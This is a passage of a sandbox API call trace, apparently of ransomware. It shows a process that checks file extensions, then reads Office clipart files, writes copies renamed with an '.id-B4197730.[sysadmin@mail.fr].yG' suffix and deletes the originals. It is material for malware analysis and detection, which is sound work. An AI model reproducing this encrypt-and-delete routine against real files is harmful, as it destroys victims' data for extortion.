	[0163.063] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".docx") returned 5
	[0163.063] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0163.063] lstrlenW (lpString=".pdf") returned 4
	[0163.063] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".xls") returned 4
	[0163.063] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".xlsx") returned 5
	[0163.063] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0163.063] lstrlenW (lpString=".ppt") returned 4
	[0163.063] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.063] lstrlenW (lpString=".zip") returned 4
	[0163.063] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".rar") returned 4
	[0163.063] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".bz2") returned 4
	[0163.063] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString=".7z") returned 3
	[0163.063] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0163.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.063] lstrlenW (lpString=".dbf") returned 4
	[0163.063] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0163.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.063] lstrlenW (lpString=".1cd") returned 4
	[0163.064] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0163.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0163.064] lstrlenW (lpString=".jpg") returned 4
	[0163.064] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0163.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.310] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=32616) returned 1
	[0163.310] CloseHandle (hObject=0x538) returned 1
	[0163.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220
	[0163.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0164.414] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.414] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0164.454] GetLastError () returned 0x0
	[0164.454] ReadFile (in: hFile=0x55c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7f68, lpOverlapped=0x0) returned 1
	[0164.457] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7f70, lpOverlapped=0x0) returned 1
	[0164.459] ReadFile (in: hFile=0x55c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.460] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.460] SetEndOfFile (hFile=0x350) returned 1
	[0164.460] CloseHandle (hObject=0x350) returned 1
	[0164.460] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.461] SetEndOfFile (hFile=0x55c) returned 1
	[0164.466] CloseHandle (hObject=0x55c) returned 1
	[0164.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1
	[0164.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.468] lstrlenW (lpString=".doc") returned 4
	[0164.468] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".docx") returned 5
	[0164.468] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0164.468] lstrlenW (lpString=".pdf") returned 4
	[0164.468] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".xls") returned 4
	[0164.468] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".xlsx") returned 5
	[0164.468] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0164.468] lstrlenW (lpString=".ppt") returned 4
	[0164.468] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.468] lstrlenW (lpString=".zip") returned 4
	[0164.468] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".rar") returned 4
	[0164.468] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".bz2") returned 4
	[0164.468] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0164.468] lstrlenW (lpString=".7z") returned 3
	[0164.469] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0164.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.469] lstrlenW (lpString=".dbf") returned 4
	[0164.469] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0164.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.469] lstrlenW (lpString=".1cd") returned 4
	[0164.469] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0164.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0164.469] lstrlenW (lpString=".jpg") returned 4
	[0164.469] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0164.487] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=23596) returned 1
	[0164.487] CloseHandle (hObject=0x51c) returned 1
	[0164.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220
	[0164.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.491] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.491] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.496] GetLastError () returned 0x0
	[0164.496] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5c2c, lpOverlapped=0x0) returned 1
	[0164.505] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5c30, lpOverlapped=0x0) returned 1
	[0164.726] ReadFile (in: hFile=0x51c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.726] WriteFile (in: hFile=0x364, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.727] SetEndOfFile (hFile=0x364) returned 1
	[0164.727] CloseHandle (hObject=0x364) returned 1
	[0164.727] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.727] SetEndOfFile (hFile=0x51c) returned 1
	[0164.733] CloseHandle (hObject=0x51c) returned 1
	[0164.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.225] lstrlenW (lpString=".doc") returned 4
	[0165.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.225] lstrlenW (lpString=".docx") returned 5
	[0165.225] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.225] lstrlenW (lpString=".pdf") returned 4
	[0165.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.225] lstrlenW (lpString=".xls") returned 4
	[0165.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.225] lstrlenW (lpString=".xlsx") returned 5
	[0165.225] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.225] lstrlenW (lpString=".ppt") returned 4
	[0165.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.225] lstrlenW (lpString=".zip") returned 4
	[0165.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.225] lstrlenW (lpString=".rar") returned 4
	[0165.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.225] lstrlenW (lpString=".bz2") returned 4
	[0165.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.225] lstrlenW (lpString=".7z") returned 3
	[0165.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.226] lstrlenW (lpString=".dbf") returned 4
	[0165.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.226] lstrlenW (lpString=".1cd") returned 4
	[0165.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68
	[0165.226] lstrlenW (lpString=".jpg") returned 4
	[0165.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.960] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5908) returned 1
	[0165.960] CloseHandle (hObject=0x550) returned 1
	[0165.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220
	[0165.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0165.961] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.961] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0165.962] GetLastError () returned 0x0
	[0165.962] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0165.994] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0165.997] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.997] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.997] SetEndOfFile (hFile=0x350) returned 1
	[0165.997] CloseHandle (hObject=0x350) returned 1
	[0165.997] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.997] SetEndOfFile (hFile=0x550) returned 1
	[0166.000] CloseHandle (hObject=0x550) returned 1
	[0166.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1
	[0166.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.001] lstrlenW (lpString=".doc") returned 4
	[0166.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString=".docx") returned 5
	[0166.002] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.002] lstrlenW (lpString=".pdf") returned 4
	[0166.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString=".xls") returned 4
	[0166.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.002] lstrlenW (lpString=".xlsx") returned 5
	[0166.002] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.002] lstrlenW (lpString=".ppt") returned 4
	[0166.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.002] lstrlenW (lpString=".zip") returned 4
	[0166.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.002] lstrlenW (lpString=".rar") returned 4
	[0166.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString=".bz2") returned 4
	[0166.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString=".7z") returned 3
	[0166.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.002] lstrlenW (lpString=".dbf") returned 4
	[0166.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.002] lstrlenW (lpString=".1cd") returned 4
	[0166.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0166.002] lstrlenW (lpString=".jpg") returned 4
	[0166.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.003] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2020) returned 1
	[0166.003] CloseHandle (hObject=0x550) returned 1
	[0166.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220
	[0166.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0166.004] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.004] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0166.005] GetLastError () returned 0x0
	[0166.005] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0166.023] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0166.024] ReadFile (in: hFile=0x550, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.024] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.024] SetEndOfFile (hFile=0x350) returned 1
	[0166.024] CloseHandle (hObject=0x350) returned 1
	[0166.025] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.025] SetEndOfFile (hFile=0x550) returned 1
	[0166.027] CloseHandle (hObject=0x550) returned 1
	[0166.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1
	[0166.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.029] lstrlenW (lpString=".doc") returned 4
	[0166.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.029] lstrlenW (lpString=".docx") returned 5
	[0166.029] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.029] lstrlenW (lpString=".pdf") returned 4
	[0166.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.029] lstrlenW (lpString=".xls") returned 4
	[0166.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.029] lstrlenW (lpString=".xlsx") returned 5
	[0166.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.029] lstrlenW (lpString=".ppt") returned 4
	[0166.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.029] lstrlenW (lpString=".zip") returned 4
	[0166.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.029] lstrlenW (lpString=".rar") returned 4
	[0166.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.029] lstrlenW (lpString=".bz2") returned 4
	[0166.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.029] lstrlenW (lpString=".7z") returned 3
	[0166.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.030] lstrlenW (lpString=".dbf") returned 4
	[0166.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.030] lstrlenW (lpString=".1cd") returned 4
	[0166.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0166.030] lstrlenW (lpString=".jpg") returned 4
	[0166.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
